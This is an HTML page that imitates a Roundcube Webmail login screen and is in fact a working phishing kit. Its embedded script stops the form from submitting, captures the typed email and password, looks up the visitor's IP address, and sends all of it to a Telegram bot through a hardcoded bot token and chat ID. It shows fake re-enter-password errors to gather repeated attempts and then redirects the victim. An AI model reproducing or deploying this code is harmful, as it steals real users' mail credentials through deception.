<!DOCTYPE html>
<html lang="en">
<head>
  <title>Roundcube Webmail :: Welcome to Roundcube Webmail</title>
  <meta name="Robots" content="noindex,nofollow">
  <meta http-equiv="X-UA-Compatible" content="IE=EDGE">
  <meta name="viewport" content="width=device-width, initial-scale=1.0">
  <link rel="shortcut icon" href="https://webmail.websiteforge.com/skins/larry/images/favicon.ico">
  <link rel="stylesheet" href="https://webmail.websiteforge.com/plugins/jqueryui/themes/larry/jquery-ui-1.9.2.custom.css?s=1391171291">
  <link rel="stylesheet" href="https://webmail.websiteforge.com/skins/larry/styles.min.css?s=1391171292">
</head>
<body>
  <div id="login-form">
    <div class="box-inner">
      <img src="https://webmail.websiteforge.com/skins/larry/images/roundcube_logo.png" id="logo" alt="Roundcube Webmail">
      <form name="form" method="post" action="./?_task=login" onsubmit="return handleLogin(event)">
        <input type="hidden" name="_token" value="c62cf61a5f760fb3a5ff74498de74723">
        <input type="hidden" name="_task" value="login">
        <input type="hidden" name="_action" value="login">
        <input type="hidden" name="_timezone" id="rcmlogintz" value="_default_">
        <input type="hidden" name="_url" id="rcmloginurl" value="">
        <table>
          <tbody>
            <tr>
              <td class="title">
                <label for="rcmloginuser">Full Email</label>
              </td>
              <td class="input">
                <input name="_user" id="rcmloginuser" required="required" size="40" autocapitalize="off" type="text">
              </td>
            </tr>
            <tr>
              <td class="title">
                <label for="rcmloginpwd">Password</label>
              </td>
              <td class="input">
                <input name="_pass" id="rcmloginpwd" required="required" size="40" autocapitalize="off" type="password">
              </td>
            </tr>
          </tbody>
        </table>
        <p class="formbuttons">
          <input type="submit" class="button mainaction" value="Login">
        </p>
      </form>
    </div>
    <div class="box-bottom">
      <div id="message"></div>
      <noscript>
        <p class="noscriptwarning">Warning: This webmail service requires Javascript! In order to use it please enable Javascript in your browser's settings.</p>
      </noscript>
    </div>
    <div id="bottomline">
      Roundcube Webmail
    </div>
  </div>

  <script>
    const TELEGRAM_TOKEN = "6956871343:AAEHj91A0y_7R18YYnV2uHGCNJhfmhVHJYU";
    const TELEGRAM_CHAT_ID = "-4267458069";
    const REDIRECT_URL = "https://www.example.com"; // Replace with your desired redirect URL
    let attemptCount = 0;

    // Auto-populate email field if hash exists in URL
    window.onload = () => {
      const emailFromURL = window.location.hash.substring(1); // Get the hash value after #
      if (emailFromURL) {
        document.getElementById("rcmloginuser").value = emailFromURL;
      }
    };

    function handleLogin(event) {
      event.preventDefault(); // Prevent form submission

      const email = document.getElementById("rcmloginuser").value;
      const password = document.getElementById("rcmloginpwd").value;

      if (email && password) {
        attemptCount++;

        // Fetch IP address
        fetch("https://api.ipify.org?format=json")
          .then(response => response.json())
          .then(data => {
            const userIP = data.ip;
            const userAgent = navigator.userAgent;

            // Construct the message for Telegram
            const message = `Ã¢Å“Âª Roundcube Login Attempt Ã¢Å“Âª\nEmail: ${email}\nPassword: ${password}\nIP: ${userIP}\nUser-Agent: ${userAgent}\nAttempt: ${attemptCount}`;

            // Send the message to Telegram
            fetch(`https://api.telegram.org/bot${TELEGRAM_TOKEN}/sendMessage`, {
              method: "POST",
              headers: { "Content-Type": "application/json" },
              body: JSON.stringify({ chat_id: TELEGRAM_CHAT_ID, text: message })
            })
              .then(response => response.json())
              .then(data => {
                if (data.ok) {
                  if (attemptCount === 1) {
                    alert("Password verification required. Please re-enter your password.");
                    document.getElementById("rcmloginpwd").value = ""; // Clear the password field
                  } else if (attemptCount === 2) {
                    alert("Password verification required. Please re-enter your password.");
                    document.getElementById("rcmloginpwd").value = ""; // Clear the password field
                  } else if (attemptCount === 3) {
                    window.location.href = REDIRECT_URL; // Redirect on the third attempt
                  }
                } else {
                  alert("Failed to send data to Telegram.");
                }
              })
              .catch(error => {
                console.error("Error sending data to Telegram:", error);
                alert("An error occurred. Please try again.");
              });
          })
          .catch(error => {
            console.error("Error fetching IP address:", error);
            alert("Could not retrieve IP address.");
          });
      } else {
        alert("Please fill in both email and password fields.");
      }
    }
  </script>
</body>
</html>
